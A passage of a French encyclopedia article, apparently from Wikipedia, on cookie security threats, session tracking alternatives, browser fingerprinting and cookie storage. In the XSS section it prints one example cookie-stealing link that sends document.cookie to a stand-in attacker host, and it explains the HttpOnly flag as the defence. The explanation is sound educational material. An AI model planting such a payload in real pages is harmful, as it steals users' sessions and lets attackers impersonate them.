Les cookies peuvent ĂȘtre volĂ©s via un renifleur de paquets dans une attaque appelĂ©e dĂ©tournement de session. Le trafic sur le net peut ĂȘtre interceptĂ© et lu par les ordinateurs autres que ceux qui envoient et qui reçoivent (particuliĂšrement sur l'espace public Wi-Fi non-chiffrĂ©). Ce trafic inclut les cookies envoyĂ©s sur des sessions utilisant le protocole HTTP ordinaire. Quand le trafic rĂ©seau n'est pas chiffrĂ©, des utilisateurs malveillants peuvent ainsi lire les communications d'autres utilisateurs sur le rĂ©seau en utilisant des « renifleurs de paquets ».

Ce problĂšme peut ĂȘtre surmontĂ© en chiffrant la connexion entre l'ordinateur de l'utilisateur et le serveur par l'emploi du protocole HTTPS. Un serveur peut spĂ©cifier un drapeau sĂ©curisĂ© tout en mettant en place un cookie ; le navigateur l'enverra seulement sur une ligne sĂ©curisĂ©e, comme une connexion en SSL.

Cependant beaucoup de sites, bien qu'utilisant une communication chiffrée HTTPS pour l'authentification de l'utilisateur (c'est-à-dire la page de connexion), envoient ultérieurement des cookies de session et d'autres données normalement, par des connexions HTTP non-chiffrées pour des raisons d'efficacité. Les attaquants peuvent ainsi intercepter les cookies d'autres utilisateurs et en se faisant passer pour eux sur des sites appropriés ou en les utilisant dans des attaques de cookies.

L'Ă©criture de script dans le site : un cookie qui devrait seulement ĂȘtre Ă©changĂ© entre le serveur et le client est envoyĂ© Ă  un autre tiers.

Un autre moyen pour voler les cookies est l'Ă©criture de script dans les sites et faire en sorte que le navigateur envoie lui-mĂȘme les cookies Ă  des serveurs malveillants qui ne les reçoivent jamais. Les navigateurs modernes permettent l'exĂ©cution de parties de code recherchĂ©es Ă  partir du serveur. Si les cookies sont accessibles pendant l'exĂ©cution, leurs valeurs peuvent ĂȘtre communiquĂ©es sous une certaine forme aux serveurs qui ne devraient pas y accĂ©der. Chiffrer les cookies avant leur envoi sur le rĂ©seau n'aide pas Ă  contrer l'attaque.

Ce type d'Ă©criture de script dans le site est typiquement employĂ© par les attaquants sur les sites qui permettent aux utilisateurs de publier des contenus HTML. En intĂ©grant une partie de code compatible dans la contribution en HTML, un attaquant peut recevoir des cookies d'autres utilisateurs. La connaissance de ces cookies peut ĂȘtre utilisĂ©e en se connectant au mĂȘme site en utilisant les cookies volĂ©s, ainsi en Ă©tant reconnu en tant que l'utilisateur dont les cookies ont Ă©tĂ© volĂ©s.

Un moyen pour prévenir de telles attaques est d'utiliser le drapeau HttpOnly ; c'est une option, introduite en 2002 au sein de la version 6 SP1 de Internet Explorer, et disponible en PHP depuis la version 5.2.0. Cette option est prévue pour rendre le cookie inaccessible au navigateur via l'exécution de scripts (généralement javascript). Les développeurs web devraient prendre en compte cette option dans leur développement de site afin qu'ils soient immunisés contre l'accÚs aux cookies, notamment de session, via l'exécution de scripts au sein du navigateur de l'utilisateur.

Une autre menace de sécurité utilisée est la fabrication de demande dans le site.

La spĂ©cification technique officielle permet aux cookies d'ĂȘtre renvoyĂ©s uniquement aux serveurs du domaine dont ils sont originaires. Cependant, la valeur des cookies peut ĂȘtre envoyĂ©e Ă  d'autres serveurs en utilisant des moyens diffĂ©rents des en-tĂȘtes de cookies.

En particulier, les langages de script comme JavaScript sont généralement autorisés à accéder aux valeurs des cookies et sont capables d'envoyer des valeurs arbitraires à n'importe quel serveur sur Internet. Cette capacité des scripts est utilisée à partir de sites web permettant aux utilisateurs de poster des contenus HTML que d'autres utilisateurs peuvent voir.

Par exemple, un attaquant fonctionnant sur le domaine exemple.com peut publier un commentaire contenant le lien suivant pointant vers un blog populaire qu'il ne contrĂŽle pas autrement :

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Quand un autre utilisateur clique sur ce lien, le navigateur exécute la partie de code de l'attribut onclick, ainsi il remplace la chaßne de caractÚre document.cookie par la liste des cookies de l'utilisateur qui sont actifs pour cette page. Par conséquent, cette liste de cookies est envoyée au serveur exemple.com, et l'attaquant est donc capable de collecter les cookies de cet utilisateur.

Ce type d'attaque est difficile Ă  dĂ©tecter du cĂŽtĂ© utilisateur parce que le script provient du mĂȘme domaine qui a mis en place le cookie, et l'opĂ©ration d'envoi des valeurs semble ĂȘtre autorisĂ©e par ce domaine. Il est considĂ©rĂ© que c'est la responsabilitĂ© des administrateurs opĂ©rant ce type de sites de mettre en place des restrictions empĂȘchant la publication de code malveillant.

Les cookies ne sont pas directement visibles aux programmes du cĂŽtĂ© client comme le JavaScript s'ils ont Ă©tĂ© envoyĂ©s avec le drapeau HttpOnly. Du point de vue du serveur, la seule diffĂ©rence est que dans la ligne de l'en-tĂȘte Set-Cookie y est ajoutĂ© un nouveau champ contenant la chaĂźne de caractĂšres HttpOnly :

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Quand le navigateur reçoit un tel cookie, il est censé l'utiliser normalement dans l'échange HTTP suivant, mais sans le rendre visible aux scripts exécutés du cÎté client. Le drapeau HttpOnly ne fait partie d'aucune spécification technique officielle, et n'est pas implémenté dans tous les navigateurs. Notez qu'il n'y a actuellement aucun moyen de prévenir la lecture et l'écriture des cookies de session par la méthode XMLHTTPRequest.

Modification du contenu : un attaquant envoie à un serveur un cookie invalide, éventuellement réalisé à partir d'un cookie valide envoyé par le serveur.

DĂšs que les cookies ont besoin d'ĂȘtre stockĂ©s et renvoyĂ©s inchangĂ©s au serveur, un attaquant peut modifier la valeur des cookies avant leur renvoi au serveur. Par exemple, si un cookie contient la valeur totale que l'utilisateur doit payer pour les articles mis dans le panier du magasin, en changeant cette valeur le serveur est exposĂ© au risque de faire payer moins l'attaquant que le prix de dĂ©part. Le procĂ©dĂ© de modifier la valeur des cookies est appelĂ© cookie poisoning et peut ĂȘtre utilisĂ© aprĂšs un vol de cookie pour rendre l'attaque persistante.

Dans la méthode du remplacement de cookie, l'attaquant exploite un problÚme du navigateur pour envoyer un cookie invalide au serveur.

La plupart des sites web, cependant, stockent seulement un identifiant de session — un numĂ©ro unique gĂ©nĂ©rĂ© alĂ©atoirement utilisĂ© pour identifier l'utilisateur de la session — dans le cookie lui-mĂȘme, alors que tout le reste de l'information est stockĂ© sur le serveur. Dans ce cas, ce problĂšme est en grande partie rĂ©solu.

Chaque site est supposĂ© avoir ses propres cookies, donc un site ne devrait pas ĂȘtre capable de modifier ou crĂ©er des cookies associĂ©s Ă  un autre site. Une faille de sĂ©curitĂ© d'un navigateur web peut permettre Ă  des sites malveillants d'enfreindre cette rĂšgle. L'exploitation d'une telle faille est couramment appelĂ©e cross-site cooking. Le but de telles attaques peut ĂȘtre le vol de l'identifiant de session.

Les utilisateurs devraient utiliser les versions les plus récentes des navigateurs web dans lesquels ces vulnérabilités sont pratiquement éliminées.

État contradictoire entre le client et le serveur

L'utilisation des cookies peut gĂ©nĂ©rer une contradiction entre l'Ă©tat du client et l'Ă©tat stockĂ© dans le cookie. Si l'utilisateur acquiert un cookie et clique sur le bouton « Retour » du navigateur, l'Ă©tat du navigateur n'est gĂ©nĂ©ralement pas le mĂȘme qu'avant cette acquisition. Par exemple, si le panier d'une boutique en ligne est rĂ©alisĂ© en utilisant les cookies, le contenu du panier ne peut pas changer quand l'utilisateur revient dans l'historique du navigateur : si l'utilisateur presse sur un bouton pour ajouter un article dans son panier et clique sur le bouton « Retour », l'article reste dans celui-ci. Cela n'est peut-ĂȘtre pas l'intention de l'utilisateur, qui veut certainement annuler l'ajout de l'article. Cela peut mener Ă  un manque de fiabilitĂ©, de la confusion, et des bugs. Les dĂ©veloppeurs web doivent donc ĂȘtre conscients de ce problĂšme et mettre en Ɠuvre des mesures visant Ă  gĂ©rer des situations comme celle-ci.

Les cookies permanents ont Ă©tĂ© critiquĂ©s par les experts de la sĂ©curitĂ© de la vie privĂ©e pour ne pas ĂȘtre prĂ©vus pour expirer assez tĂŽt, et de ce fait permettre aux sites web de suivre les utilisateurs et de construire au fur et Ă  mesure leur profil. Cet aspect des cookies fait partie aussi du problĂšme de dĂ©tournement de session, parce qu'un cookie permanent volĂ© peut ĂȘtre utilisĂ© pour se faire passer pour un utilisateur pour une pĂ©riode de temps considĂ©rable.

Alternatives aux cookies

Certaines opĂ©rations qui peuvent ĂȘtre rĂ©alisĂ©es en utilisant les cookies peuvent aussi ĂȘtre rĂ©alisĂ©es en utilisant d'autres mĂ©canismes qui permettent de se passer de cookies ou de recrĂ©er des cookies effacĂ©s, ce qui crĂ©e des problĂšmes de vie privĂ©e de la mĂȘme maniĂšre (ou parfois pire car alors invisibles) que les cookies.

Adresse IP

Les utilisateurs peuvent ĂȘtre suivis avec l'adresse IP de l'ordinateur appelant la page. Cette technique a Ă©tĂ© disponible depuis l'introduction du World Wide Web, au fur et Ă  mesure que les pages sont tĂ©lĂ©chargĂ©es le serveur demande l'adresse IP de l'ordinateur faisant fonctionner le navigateur ou le proxy, si un proxy est utilisĂ©. Le serveur peut suivre cette information qu'il y ait ou non des cookies utilisĂ©s. Cependant, ces adresses sont typiquement moins fiables dans l'identification d'un utilisateur que les cookies car les ordinateurs et les proxys peuvent ĂȘtre partagĂ©s par plusieurs utilisateurs, et le mĂȘme ordinateur peut recevoir une adresse IP diffĂ©rente sur chaque session de travail (comme c'est souvent le cas pour les connexions tĂ©lĂ©phoniques).

Le suivi par les adresses IP peut ĂȘtre fiable dans certaines situations, comme le cas des connexions Ă  bandes larges qui maintiennent la mĂȘme adresse IP pour une longue pĂ©riode, aussi longtemps que le courant passe.

Certains systÚmes comme Tor sont conçus pour maintenir l'anonymat d'Internet et rendre impossible ou impraticable le suivi par adresse IP.

URL

Une technique plus prĂ©cise est basĂ©e sur l'encastrement d'information dans les URL. La partie requĂȘte de chaĂźnes de caractĂšres de l'URL est l'une des techniques qui sont typiquement utilisĂ©es dans ce but, mais d'autres parties peuvent ĂȘtre utilisĂ©es aussi bien. Le servlet Java et les mĂ©canismes de session PHP utilisent tous les deux cette mĂ©thode si les cookies ne sont pas activĂ©s.

Cette mĂ©thode comprend le serveur web apposant des requĂȘtes de chaĂźnes de caractĂšres aux liens de la page web qui la porte quand elle est envoyĂ©e au navigateur. Quand l'utilisateur suit un lien, le navigateur retourne la chaĂźne de requĂȘte attachĂ©e, au serveur.

Les chaĂźnes de requĂȘte utilisĂ©es dans ce but et les cookies sont trĂšs similaires, tous les deux Ă©tant des informations arbitrairement choisies par le serveur et renvoyĂ©es par le navigateur. Cependant, il y a quelques diffĂ©rences : lorsqu'une URL contenant une chaĂźne de requĂȘte est rĂ©utilisĂ©e, les mĂȘmes informations sont envoyĂ©es au serveur. Par exemple, si les prĂ©fĂ©rences d'un utilisateur sont encodĂ©es dans une chaĂźne de requĂȘte d'une URL et que l'utilisateur envoie cette URL Ă  un autre utilisateur par e-mail, ce dernier pourra Ă©galement utiliser ces prĂ©fĂ©rences. En revanche, lorsqu'un utilisateur accĂšde Ă  la mĂȘme page deux fois, il n'y a pas de garantie que la mĂȘme chaĂźne de requĂȘte soit utilisĂ©e les deux fois. Par exemple, si un utilisateur arrive sur une page Ă  partir d'une page interne du site la premiĂšre fois et arrive sur la mĂȘme page Ă  partir d'une page externe la seconde fois, la chaĂźne de requĂȘte relative Ă  la page du site est typiquement diffĂ©rente, alors que les cookies sont les mĂȘmes.

Les autres inconvĂ©nients des chaĂźnes de requĂȘtes sont liĂ©s Ă  la sĂ©curitĂ© : garder les donnĂ©es qui identifient une session en chaĂźnes de requĂȘtes permet ou simplifie les attaques de fixation de session, les attaques de rĂ©fĂ©rence Ă  l'identifiant et d'autres exploitations des failles. TransfĂ©rer les identifiants de session en tant que cookies HTTP est plus sĂ©curisĂ©.

Champ de formulaire caché

Une forme de suivi de session, utilisĂ©e par ASP.NET, est d'utiliser les formulaires web avec des champs cachĂ©s. Cette technique est trĂšs similaire Ă  l'utilisation des chaĂźnes de requĂȘtes par URL pour porter l'information et a les mĂȘmes avantages et inconvĂ©nient ; et si le formulaire est traitĂ© avec la mĂ©thode HTTP GET, les champs deviennent en fait une partie de l'URL du navigateur qui l'enverra lors de la soumission du formulaire. Mais la plupart des formulaires sont traitĂ©s avec HTTP POST, qui provoque le formulaire d'information, incluant les champs cachĂ©s, pour ĂȘtre ajoutĂ© comme une entrĂ©e supplĂ©mentaire qui n'est ni une partie de l'URL, ni un cookie.

Cette approche présente deux avantages du point de vue du suivi : premiÚrement, le suivi de l'information placée dans le code source HTML et en entrée POST plutÎt que dans l'URL permettra à l'utilisateur moyen de ne pas remarquer ce suivi ; deuxiÚmement, la session d'information n'est pas copiée quand l'utilisateur copie l'URL (pour sauvegarder la page sur disque ou l'envoyer via l'e-mail, par exemple).

window.name

Tous les navigateurs webs courants peuvent stocker une assez grande quantitĂ© de donnĂ©es (Mo Ă  32 Mo) via JavaScript en utilisant la propriĂ©tĂ© du DOM window.name. Cette donnĂ©e peut ĂȘtre utilisĂ©e Ă  la place des sessions de cookies et l'est aussi Ă  travers les domaines. La technique peut ĂȘtre couplĂ©e avec les objets JSON pour stocker un ensemble complexe de variables de sessions du cĂŽtĂ© client.

L'inconvĂ©nient est que chaque fenĂȘtre sĂ©parĂ©e ou onglet aura initialement un window.name vide ; lors de la navigation par onglets (ouverture par l'utilisateur) cela veut dire que les onglets ouvert individuellement n'auront pas de nom de fenĂȘtre. De plus window.name peut ĂȘtre utilisĂ© pour suivre les visiteurs Ă  travers diffĂ©rents sites ce qui peut poser un problĂšme de vie privĂ©e.

À certains Ă©gards cela peut ĂȘtre plus sĂ©curisĂ© que les cookies, du fait de la non implication du serveur, ce qui rend donc invulnĂ©rable Ă  l'attaque rĂ©seau des cookies renifleurs. Cependant, si des mesures spĂ©ciales sont prises pour protĂ©ger les donnĂ©es, elles sont vulnĂ©rables Ă  d'autres attaques, car les donnĂ©es sont disponibles Ă  travers d'autres sites ouverts dans la mĂȘme fenĂȘtre.

Authentification HTTP

Le protocole HTTP inclut les protocoles d'authentification d'accĂšs de base et la digestion de l'authentification d'accĂšs, qui permet l'accĂšs Ă  une page web seulement lorsque l'utilisateur a donnĂ© le nom d'utilisateur et le mot de passe correct. Si le serveur demande un certificat pour accorder l'accĂšs Ă  une page web, le navigateur le demande Ă  l'utilisateur et une fois obtenu, le navigateur le stocke et l'envoie dans toutes les requĂȘtes HTTP suivantes. Cette information peut ĂȘtre utilisĂ©e pour suivre l'utilisateur.

Objet local partagé

Si un navigateur inclut le greffon Adobe Flash Player, les objets locaux partagĂ©s peuvent ĂȘtre utilisĂ©s dans le mĂȘme but que les cookies. Ils peuvent ĂȘtre un choix attractif pour les dĂ©veloppeurs web car :

  • la taille limite par dĂ©faut d'un objet local partagĂ© est de 100 ko ;
  • les contrĂŽles de sĂ©curitĂ© sont distincts des contrĂŽles des cookies de l'utilisateur (donc les objets locaux partagĂ©s peuvent ĂȘtre autorisĂ©s quand les cookies ne le sont pas).

Ce dernier point, qui distingue la politique de gestion des cookies de celle des objets locaux partagĂ©s d'Adobe suscite des interrogations[23] concernant la gestion par l'utilisateur de ses paramĂštres de confidentialitĂ© : celui-ci doit ĂȘtre conscient que sa gestion des cookies n'a pas d'impact sur la gestion des objets locaux partagĂ©s, et inversement.

Une autre critique de ce systĂšme concerne le fait qu'il ne peut ĂȘtre utilisĂ© qu'Ă  travers le greffon Adobe Flash Player qui est propriĂ©taire et n'est pas un standard du web.

Persistance cÎté client

Certains navigateurs web supportent un script basĂ© sur le mĂ©canisme de persistance, qui permet Ă  la page de stocker les informations localement pour une utilisation ultĂ©rieure. Internet Explorer, par exemple, supporte les informations persistantes dans l'historique du navigateur, en favoris, dans un format stockĂ© en XML, ou directement avec une page web sauvĂ©e sur disque. Pour Microsoft Internet Explorer 5, il y a une mĂ©thode utilisateur–donnĂ©e disponible Ă  travers les comportements DHTML.

Le W3C a introduit dans HTML 5 une nouvelle API JavaScript de stockage des donnĂ©es cĂŽtĂ© client appelĂ©e Web storage et visant Ă  remplacer dĂ©finitivement les cookies. Elle est semblable aux cookies mais avec une capacitĂ© grandement amĂ©liorĂ©e et sans stockage d'information dans l'en-tĂȘte des requĂȘtes HTTP. L'API permet deux types de stockage web : localstorage et sessionstorage, similaires aux cookies persistants et aux cookies de session (Ă  la diffĂ©rence que les cookies de session expirent Ă  la fermeture du navigateur alors que les variables de sessionstorage expirent Ă  la fermeture de l'onglet), respectivement. Web storage est supportĂ©e par Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 et Opera 10.50.

Un mĂ©canisme diffĂ©rent s'appuie normalement sur la mise en cache des navigateurs (portant sur la mĂ©moire plutĂŽt que le rafraĂźchissement) utilisant les programmes JavaScript dans les pages web. Par exemple, une page peut contenir la balise <script type="text/javascript" src="exemple.js">. La premiĂšre fois que la page se charge, le programme 'exemple.js' est aussi chargĂ©. À ce point, le programme reste en mĂ©moire cache et la page visitĂ©e n'est pas rechargĂ©e une seconde fois. En consĂ©quence, si le programme contient une variable globale (par exemple var id = 3243242;), cet identifiant reste valide et peut ĂȘtre exploitĂ© par un autre code JavaScript une nouvelle fois que la page est chargĂ©e, ou une fois qu'une page liant le programme est chargĂ©e. L'inconvĂ©nient majeur de cette mĂ©thode est que la variable globale de JavaScript doit ĂȘtre statique, cela veut dire qu'elle ne peut pas ĂȘtre changĂ©e ou supprimĂ©e comme un cookie.

Empreinte numérique de navigateur web

Une empreinte digitale de navigateur est une information collectĂ©e sur les paramĂštres de configuration d'un navigateur Ă  des fins d'identification. Ces empreintes digitales peuvent ĂȘtre utilisĂ©es pour identifier totalement ou partiellement un internaute ou un appareil mĂȘme lorsque les cookies sont dĂ©sactivĂ©s.

Des informations de base sur la configuration des navigateurs web sont recueillies depuis longtemps par les services d'audience d'un site web dans le but de mesurer avec prĂ©cision le trafic humain sur le web et dĂ©tecter les diffĂ©rentes formes de fraude au clic. Avec l'aide de langages de script cĂŽtĂ© client, une collecte d'informations beaucoup plus prĂ©cises est maintenant possible[24] - [25]. La conversion de ces informations dans une chaĂźne de bits produit une empreinte digitale d'appareil. En 2010, l'Electronic Frontier Foundation (EFF) a mesurĂ© que l'entropie de l'empreinte d'un navigateur Ă©tait d'au moins 18,1 bits[26], et c'Ă©tait avant que les progrĂšs du canvas fingerprinting n'ajoute 5,7 bits Ă  cette entropie.

Identifiant pour publicitaires (IDFA)

La société Apple utilise une technique de pistage nommée « identifier for advertisers » (IDFA). Cette technique attribue un identifiant unique à chaque utilisateur d'un outil fonctionnant sur iOS (par exemple iPhone ou iPad). Cet identifiant est ensuite utilisé par le réseau publicitaire d'Apple, iAd, pour déterminer quelle publicité les utilisateurs sont en train de visualiser et de répondre.

En résumé

Les cookies sont de petits fichiers textes stockés par le navigateur web sur le disque dur du visiteur d'un site web et qui servent (entre autres) à enregistrer des informations sur le visiteur ou encore sur son parcours dans le site. Le webmaster peut ainsi reconnaßtre les habitudes d'un visiteur et personnaliser la présentation de son site pour chaque visiteur ; les cookies permettent alors de garder en mémoire combien d'articles il faut afficher en page d'accueil ou encore de retenir les identifiants de connexion à une éventuelle partie privée : lorsque le visiteur revient sur le site, il ne lui est plus nécessaire de taper son nom et son mot de passe pour se faire reconnaßtre, puisqu'ils sont automatiquement lus dans le cookie.

Un cookie a une durĂ©e de vie limitĂ©e, fixĂ©e par le concepteur du site. Ils peuvent aussi expirer Ă  la fin de la session sur le site, ce qui correspond Ă  la fermeture du navigateur. Les cookies sont largement utilisĂ©s pour simplifier la vie des visiteurs et leur prĂ©senter des informations plus pertinentes. Mais des techniques particuliĂšres permettent de suivre un visiteur sur plusieurs sites et ainsi de collecter et recouper des informations trĂšs Ă©tendues sur ses habitudes. Cette mĂ©thode a donnĂ© Ă  l'usage des cookies une rĂ©putation de technique de surveillance violant la sphĂšre privĂ©e des visiteurs ce qui correspond hĂ©las Ă  la rĂ©alitĂ© dans de nombreux cas d’utilisation pour des raisons non « technique » ou non respectueuses des attentes des utilisateurs.

En réponse à ces craintes légitimes, l'HTML 5 introduit une nouvelle API JavaScript de stockage des données cÎté client appelée Web storage, beaucoup plus sure et avec une plus grande capacité, qui vise à remplacer les cookies.

Stockage des cookies

Avec certains navigateurs, un cookie est facilement modifiable, en effet un logiciel Ă©diteur de texte (ex. : Bloc-notes) suffit Ă  en changer les valeurs manuellement.

Les cookies sont enregistrés différemment selon les navigateurs :

  • Microsoft Internet Explorer enregistre chaque cookie dans un fichier diffĂ©rent ;
  • Mozilla Firefox enregistre tous ses cookies dans un seul fichier (une base de donnĂ©es SQLite) ;
  • Opera enregistre tous ses cookies dans un seul fichier et le chiffre (impossible de les modifier sauf depuis les options du logiciel) ;
  • Apple Safari enregistre tous ses cookies dans un seul fichier ayant l'extension « .plist ». La modification est possible mais trĂšs peu aisĂ©e, Ă  moins de passer par les options du logiciel.

Il est demandé aux navigateurs de supporter au minimum[13] :

  • 300 cookies simultanĂ©s ;
  • 4 096 octets par cookie ;
  • 20 cookies par hĂŽte ou par domaine.

Notes et références

(en) Cet article contient des extraits de la Free On-line Dictionary of Computing qui autorise l'utilisation de son contenu sous licence GFDL.

  1. « Respect de la vie privée en ligne l Cookies », sur Your Europe (consulté le )
  2. (en) John Schwartz, « Giving the Web a Memory Cost Its Users Privacy », sur NYTimes.com, (consulté le ).
  3. Commission d’enrichissement de la langue française, « tĂ©moin de connexion », sur FranceTerme, ministĂšre de la Culture (consultĂ© le ).
  4. « témoin », Grand Dictionnaire terminologique, Office québécois de la langue française (consulté le ).
  5. (en) Martin Kihn, « Cookies, Chaos and the Browser: Meet Lou Montulli », sur gartner.com, (consulté le )
  6. (en) « Presse : Netscape Communications publie gratuitement un nouveau navigateur web », Web.archive.org (consulté le ).
  7. (en) « Publication de Marc Andreessen sur Usenet: « Here it is, world! » », Groups.google.com, (consulté le ).
  8. (en) « Persistent client state in a hypertext transfer protocol based client-server system », sur justia.com, (consulté le )
  9. (en) « HTTP State Management Mechanism », Request for comments no 2109.
  10. (en)I don't care about cookies 2.3.0, addons.mozilla.org, consulté en décembre 2014.
  11. (en) Defeating the Cookie Monster: How Firefox can Improve Online Privacy, le 2 juin 2010, par Jenny Boriss (Mozilla), traduit ici
  12. « La publicitĂ© ciblĂ©e : la fin d’une Ă©poque », sur Infopresse (consultĂ© le )
  13. (en) « HTTP State Management Mechanism », Request for comments no 2965.
  14. « Cookies, mouchards : comment vous ĂȘtes suivis sur Internet », Le Monde.fr,‎ (lire en ligne, consultĂ© le )
  15. Vincent Fagot, « Les publicitaires digĂšrent mal la fin des cookies sur Internet », Le Monde,‎ (lire en ligne, consultĂ© le ).
  16. (en) Cookies law changed at 11th hour to introduce 'implied consent sur The Guardian, le 26 mai 2012.
  17. .
  18. [PDF] avis du G29 de 2010
  19. « Cumuleo : le baromÚtre du cumul des mandats en Belgique », sur Cumuleo (consulté le ).
  20. Le Monde avec AFP, « Selon le Conseil d’Etat, un Ă©diteur peut bloquer l’accĂšs Ă  son site Ă  un internaute qui refuserait les cookies », Le Monde,‎ (lire en ligne, consultĂ© le ).
  21. « Opt-in, opt-out, ça veut dire quoi ? », sur CNIL (consulté le )
  22. MENACES LIÉES AUX VOLS DE COOKIES ET CONTRE-MESURES, ANSSI (lire en ligne)
  23. (en) « You Deleted Your Cookies? Think Again », Wired (consulté le ).
  24. « BrowserSpy », gemal.dk (consulté le ).
  25. « IE "default behaviors [sic]" browser information disclosure tests: clientCaps », Mypage.direct.ca (consulté le ).
  26. (en)[PDF]Peter Eckersley, « How Unique Is Your Web Browser? », sur eff.org, Electronic Frontier Foundation, (consulté le )

Voir aussi

Articles connexes

Liens externes

Informations à caractÚre juridique (en français) :

Sur la directive 2009/136/CE modifiant la directive 2002/22/CE concernant le service universel et les droits des utilisateurs au regard des rĂ©seaux et services de communications Ă©lectroniques, la directive 2002/58/CE concernant le traitement des donnĂ©es Ă  caractĂšre personnel et la protection de la vie privĂ©e dans le secteur des communications Ă©lectroniques et le rĂšglement (CE) n o 2006/2004 relatif Ă  la coopĂ©ration entre les autoritĂ©s nationales chargĂ©es de veiller Ă  l’application de la lĂ©gislation en matiĂšre de protection des consommateurs :

Informations Ă  caractĂšre technique (en anglais) :

Cet article est issu de wikipedia. Text licence: CC BY-SA 4.0, Des conditions supplĂ©mentaires peuvent s’appliquer aux fichiers multimĂ©dias.